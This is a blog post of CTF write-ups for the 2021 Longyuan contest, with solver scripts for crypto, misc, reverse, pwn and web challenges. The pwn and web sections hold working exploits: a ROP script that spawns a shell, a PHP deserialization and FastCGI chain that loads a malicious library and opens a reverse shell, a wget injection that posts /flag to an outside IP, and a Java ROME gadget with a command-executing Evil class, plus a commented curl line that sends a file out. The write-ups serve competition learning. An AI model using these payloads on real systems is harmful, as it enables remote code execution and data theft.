

# 陇原战“疫”2021网络安全大赛部分WP

原创

七董墨年 于 2021-12-24 20:50:41 发布 395 收藏

文章标签: [web安全](#) [安全](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/justruofeng/article/details/122135465>

版权

## 陇原战“疫”2021网络安全大赛WP

公众号: Th0r安全

### 文章目录

[陇原战“疫”2021网络安全大赛WP](#)

[CRYPTO](#)

[mostlycommon](#)

[MISC](#)

[soEasyCheckin](#)

[打败病毒](#)

[PWN](#)

[bbbaby](#)

[REVERSE](#)

[findme](#)

[power](#)

[WEB](#)

[eaaasyphp](#)

[CheckIN](#)

[EasyJaba](#)

---

## CRYPTO

- [mostlycommon](#)

写脚本

```

from gmpy2 import *
from Crypto.Util.number import *

n=12203168613869661959991469076776428609456284211208822531150382601400688603906908319297459971268502782511168485
2235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067
117410952499655482160104027730462740497347212752269589526267504100262707367020244613503
c1=3944901640373540589234350720074009847758103960597960348477434771438163521192558592481272799140027803189239199
6192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067
450727600486330723461100602952736232306602481565348834811292749547240619400084712149673
c2=4394140483582027396414209878206104352212535028072936611631194317110868910811444444729551196909010712953018711
9024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996
322468276744714063735786505249416708394394169324315945145477883438003569372460172268277

e1 = 65536
e2 = 270270
g=gcd(e1,e2)
print(g)
_,s,t=gcext(e1,e2)

M=pow(c1,s,n)*pow(c2,t,n)%n

for k in range(1000000):
    a=iroot(M+k*n,g)

    if a[1]:
        print(long_to_bytes(a[0]))
        break

```

```

2
SETCTF{now_you_master_common_mode_attack}

进程已结束，退出代码为 0

CSDN @七堇墨年

```

运行得到SETCTF{now\_you\_master\_common\_mode\_attack}

## MISC

- soEasyCheckin

玩附件中的mc打掉末影龙之后给了一张图片



发现一串密文: `11F9sACbBBBWKTiCIY0tNF2yIEfThXdfIGPxF`, from base62解密得到flag

STEP 

SETCTF{Fi9ht1ng\_3ltH\_V1rUs}

- 打败病毒

下载附件发现base32，解码发现有两个乱码，去掉乱码，base32加密对比附件，发现不属于base32的两个字符0，换成S，数字从2~7依次尝试，发现是5，然后base32解密

The screenshot shows a web-based application for decoding Base32 strings. The top navigation bar includes tabs for 'Base 系列编码 1', 'Base 系列编码 2' (which is selected), and 'Base 系列编码 3'. A dropdown menu labeled 'Type' is set to 'Base 32'. The main area contains two text boxes: an input box containing a long Base32 encoded string, and an output box showing the decoded ASCII text. The output text is heavily encoded with various characters like 'e', 'b', 'd', '9', 'a', etc., interspersed with non-printable characters and spaces.

CSDN @七堇年

接着base16解码发现核心价值观编码

This screenshot shows a similar web-based application for decoding Base16 strings. The interface is identical to the previous one, with tabs for 'Base 系列编码 1', 'Base 系列编码 2', and 'Base 系列编码 3'. The 'Type' dropdown is set to 'Base 16'. The input field contains a long Base16 encoded string, and the output field displays the decoded ASCII text, which is the Chinese core values slogan.

CSDN @七堇年

核心价值观解码

This screenshot shows the final step of decoding the core values string. The application interface remains the same, but the output field is now fully visible, displaying the complete Chinese core values slogan: '富强、民主、文明、和谐；自由、平等、公正、法治；爱国、敬业、诚信、友善'.

SET{Qi2Xin1Xie2Li4-Long3Yuan2Zhan4Yi4}

PWN

• bbbaby

利用功能0把栈溢出检测函数修改为main，这样用1去溢出的时候就还是会回到main，然后泄露libc，最后利用功能0把atoi函数got改为system，getshellexp

```
#!/usr/bin/env python
#coding=utf-8
from pwn import*
r = process("./qm")
elf = ELF("./qm")
libc = ELF("./lib/x86_64-linux-gnu/libc.so.6")
context(log_level='debug', os='linux', arch='amd64')
def chocie(c):
    r.recvuntil("choice")
    r.sendline(str(c))

def add(size,content):
    chocie(1)
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.send(content)

def edit(addr,content):
    chocie(0)
    r.recvuntil(".")
    r.sendline(addr)
    r.recvuntil(".")
    r.send(content)

pop_rdi_ret = 0x400a03
pop_rsi_r15_ret = 0x400a01
main = 0x40090B
payload = p64(pop_rdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main)
edit(str(0x601020),p64(0x40090B))
yichu(0x200,'A'*0x110 + p64(0) + payload)
chocie(5)
chocie(5)
leak = u64(r.recvuntil('\x7f')[6:8].ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
system = libc_base + libc.sym['system']
edit(str(0x601040),p64(system))
r.sendline(b'/bin/sh\x00')
r.interactive()
```

flag{fe64f4d6-bd04-4bb7-87e5-479efd3b86a5}

- REVERSE

下载附件，IDA打开，找了半天发现，直接shift+F12，找字符串，最像MD5的就是



fc5e038d38a57032085441e7fe7010b0

## • findme

异或下就行

```
a = [0xB7, 0x52, 0x85, 0xC1, 0x90, 0xE9, 0x07, 0xB8, 0xE4, 0x1A, 0xC3, 0xBD, 0x1D, 0x8E, 0x85, 0x46, 0x00, 0x21, 0x44, 0xAF, 0xEF, 0x70, 0x32, 0xB5, 0x11, 0xC6]
b = [0xE4, 0x17, 0xD1, 0x82, 0xC4, 0xAF, 0x7C, 0xEC, 0x8C, 0x2B, 0xB0, 0xE2, 0x74, 0xBB, 0xDA, 0x03, 0x32, 0x7E, 0x71, 0xDB, 0xBD, 0x13, 0x5F, 0x8C, 0x30, 0xBB]
for i in range(len(a)):
    print(chr((a[i]^b[i])&0xff), end="")
```

SETCTF{Th1s\_i5\_E2\_5tRcm9!}

## • power

发现关键字，aes 算法

```
.ascii "001\002\003\001"
.ascii "001\001\002\003"
.ascii "003\001\001\002"
.text
.align 1
.global _ZN3aesC2EPc
.arch armv7-a
.syntax unified
.thumb
.thumb_func
.fpu vfpv3-d16
.type _ZN3aesC2EPc, %function
_ZN3aesC2EPc:
.instart
.LFB1517:
```

发现有密文和key

```
.LC2:
.align 2
.ascii "input flag:\000"
.align 2
.LC3:
.ascii "1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e"
.ascii "489d2a140427b\000"
.align 2
.LC4:
.ascii "yeah, you get it!\000"
.align 2
.LC5:
.ascii "wrong!\000"
.align 2
.LC1:
.ascii "this_is_a_key!!!\000"
.text
.align 1
.global main
.syntax unified
.thumb
.thumb_func
```

CSDN @七堇墨年

直接解密即可

```

from Crypto.Cipher import AES
from Crypto.Util.number import *

key=b'this_is_a_key!!!'
cipher=long_to_bytes(0x1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e489d2a140427b)
aes=AES.new(key,AES.MODE_ECB)
text=aes.decrypt(cipher)
print(text)

```

```

from Crypto.Cipher import AES
from Crypto.Util.number import *

key=b'this_is_a_key!!!'
cipher=long_to_bytes(0x1030a9254d44937bed312da03d2db9adbec5762c2eca7b5853e489d2a140427b)
aes=AES.new(key,AES.MODE_ECB)
text=aes.decrypt(cipher)
print(text)

D:\pynew\pythonProject\venv\Scripts\python.exe D:/pynew/pythonProject/批量.py
b'flag{y0u_found_the_aes_12113112}'
```

flag{y0u\_found\_the\_aes\_12113112}

## WEB

- [eaaasyphp](#)

反序列化链的构造很简单就不提了，正常构造写文件发现应该是不行的，目录应该不可写。给了个Hint类里面提示phpinfo，那打一下phpinfo看一下：

```

class Bypass {
    public function __construct(){
        $this->str4 = "phpinfo";
        $this->feng = new Esle();
    }

    /* public function __destruct()
    {
        if (Check::$str1) {
            ($this->str4)();
        } else {
            //throw new Error("Error");
        }
    }*/
}

echo urlencode(serialize(new Bypass()));

```

发现有fastcgi，再联想到利用的这里：

```
file_put_contents($this->filename, $this->data);
```

很容易想到利用ftp被动模式打fastcgi了。

流程按蓝帽杯那题来就行了，不细锁了。先把恶意类的so打过去，把它写在 /tmp/feng.so：

```
import base64
```

```
import requests
```

url="http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/"

```
params = {
```

```
"code":0:6:"Bypass":2:{s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":1:{s:8:"filename";s:12:"/tmp/feng.so";}}s:4:"feng";O:4:"Esle":0:{}'}
```

}

data={

```

    "data":base64.b64decode(payload)
}
r=requests.post(url=url,params=params,data=data)

```

ftp那边起，nc起，然后payload打过去就行了：

```

<?php

class Check {
    public static $str1 = false;
    public static $str2 = false;
}

class Esle {
    public function __wakeup()
    {
        Check::$str1 = true;
    }
}

class Hint {

    public function __wakeup(){
        $this->hint = "no hint";
    }

    public function __destruct(){
        if(!$this->hint){
            $this->hint = "phpinfo";
            ($this->hint)();
        }
    }
}

class Bunny {
    public function __construct(){
        $this->filename="ftp://121.5.169.223:39444/1";
        $this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%04%00%01%01%9C%00%00%11
%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fu
ser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp
%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_P
ORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHT
TP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%0
0%01%05%00%01%00%00%00%00");
    }

    public function __toString()
    {
        if (Check::$str2) {
            if(!($this->data)){
                $this->data = $_REQUEST['data'];
            }
            file_put_contents($this->filename, $this->data);
        } else {
            throw new Error("Error");
        }
    }
}

```

```

}

class Welcome {
    public function __construct(){
        $this->username = new Bunny();
    }
    public function __invoke()
    {
        Check::$str2 = true;
        return "Welcome" . $this->username;
    }
}

class Bypass {
    public function __construct(){
        $this->str4 = new Welcome();
        $this->feng = new Esle();
    }

/*   public function __destruct()
{
    if (Check::$str1) {
        ($this->str4)();
    } else {
        //throw new Error("Error");
    }
} */
}

echo urlencode(serialize(new Bypass()));

http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22str4%2
2%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A
%22filename%22%3Bs%3A27%3A%22ftp%3A%2F%2F121.5.169.223%3A39444%2F1%22%3Bs%3A4%3A%22data%22%3Bs%3A452%3A%
22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFAC
EFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_N
AME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEExtension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.s
o%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER
_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTE
NT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH%01%04%00%01%00%00%00%01%05%00%01%00%00
%00%00%22%3B%7D%7Ds%3A4%3A%22feng%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D

```

```

root@VM-0-6-ubuntu:~# nc -lvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 64381 received!
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a4c71746264f:~/html$ ls
ls
index.php
www-data@a4c71746264f:~/html$ cd /
cd /
www-data@a4c71746264f:$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
php.ini
proc
root
run
sbin
srv
sudoers
sys
tmp
usr
var
www-data@a4c71746264f:$ cat /flag
cat /flag
flag{b483c338-32f1-48a9-819f-72e276607834}

```

## • CheckIN

一道Go的代码审计，大致扫一遍应该就知道了，`/wget`是利用到，但是似乎鉴权没有做：

```

router.GET("/wget", getController)

func getController(c *gin.Context) {
    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }
    c.String(http.StatusOK, "Nothing")
}

```

直接能执行命令了，拿wget把flag带出来即可：

```
/wget?arg1=1&arg2=-post-file&arg3=/flag&arg4=http://121.5.169.223:39876/
```

```
root@VM-0-6-ubuntu:~# nc -lwp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 121.5.169.223:39876
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

flag{88729834-1693-4af8-abba-0ebf6bd84ec2}
```

## • EasyJaba

给了个反序列化的入口，而且调用了 `toString()` 方法：

```
@ResponseBody
@RequestMapping("/{}/BackDoor")
public String BackDoor(@RequestParam(name = "ctf", required = true) String data) throws Exception {
    Set blacklist = new HashSet() {
        {
            this.add("java.util.HashMap");
            this.add("javax.management.BadAttributeValueExpException");
        }
    };
    Object object = null;
    byte[] b = Tool.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, blacklist);

    try {
        object = ois.readObject();
    } catch (IOException var12) {
        var12.printStackTrace();
    } catch (ClassNotFoundException var13) {
        var13.printStackTrace();
    } finally {
        System.out.println("information:" + object.toString());
    }

    return "calm down....";
}
```

但是有黑名单，看一下pom.xml：

```

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.5.6</version>
    <relativePath/> <!-- lookup parent from repository -->
  </parent>
  <groupId>com.kyzy.ctf</groupId>
  <artifactId>ezjaba</artifactId>
  <version>0.0.1-SNAPSHOT</version>
  <name>ezjaba</name>
  <description>Demo project for Spring Boot</description>
  <properties>
    <java.version>1.8</java.version>
  </properties>
  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-test</artifactId>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>
  </build>
</project>

```

有个rome显得很突兀，查一下确实有个链可以rce，但是需要用到被ban了的HashMap。但用到HashMap其实只是为了在Gadget中调用到那个toString，但本题已经显示的调用了，所以从网上找POC改一下即可：

```

package com.summer.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {

    public static class StaticBlock { }

    public static void main(String[] args) throws Exception {
        byte[] bytecdodes = new byte[]{Base64.getDecoder().decode("xxx")};

        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecdodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, bytecdodes);

        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");

        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp.replace("+", "%2b"));

    }
}

```

还是动态加载字节码，关键就是那个恶意类里面要执行的代码该怎么写了。

我先是在本地打通了，远程那边一直没有回显，猜测是不出网，问了一下出题人确实是不出网的。

然后就开始了一下午的不出网回显尝试，尝试了各种奇奇怪怪的东西，什么dns，tomcat的各种内存马，Spring的内存马，等等发现都没打通。。。至于为什么我也不知道，不太会Java，这些东西等以后自己慢慢学到了应该就知道了。

最后是找到了这个东西：

[https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce\\_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java](https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java)

感觉也不算是内存马吧，就是通过上下文还有反射最终来回显。我一开始也想过就是能不能按照Tomcat的Filter的那种思路（因为刚学过）去获取Request，再想办法获取Response，不是想办法注册Filter了，而是直接把结果回显，但是想了一下网上可能有现成的就一直在找现成的POC没去找这个东西，结果还是错付了。

写个 Evil.java：

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.net.InetAddress;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public Evil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String) getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK": "UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\n").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
    }
}
```

```
writer.getClass().getDeclaredMethod("close").invoke(writer);
}

}

// String[] cmd = {""/bin/sh", "-c", "curl http://172.16.177.48:39555/ -F file=@/flag"};
// InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// byte[] bcache = new byte[1024];
// int readSize = 0;
// try(ByteArrayOutputStream outputStream = new ByteArrayOutputStream()){
//     while ((readSize = in.read(bcache)) != -1){
//         outputStream.write(bcache, 0, readSize);
//     }
//     String result = outputStream.toString();
//     InetAddress.getByName("1m221641.ns.dns3.cf.").isReachable(3000);
// }

// }

//Runtime.getRuntime().exec("sh /tmp/feng");
//}

//catch (Exception ex) {
//    ex.printStackTrace();
//}
```

然后javac编译成class，然后 cat Evil.class|base64 -w 0，再把这段base64扔到上面的那个代码里面的 byte[] bytecodes = new byte[]{Base64.getDecoder().decode()};，生成payload，然后打过去就回显了：

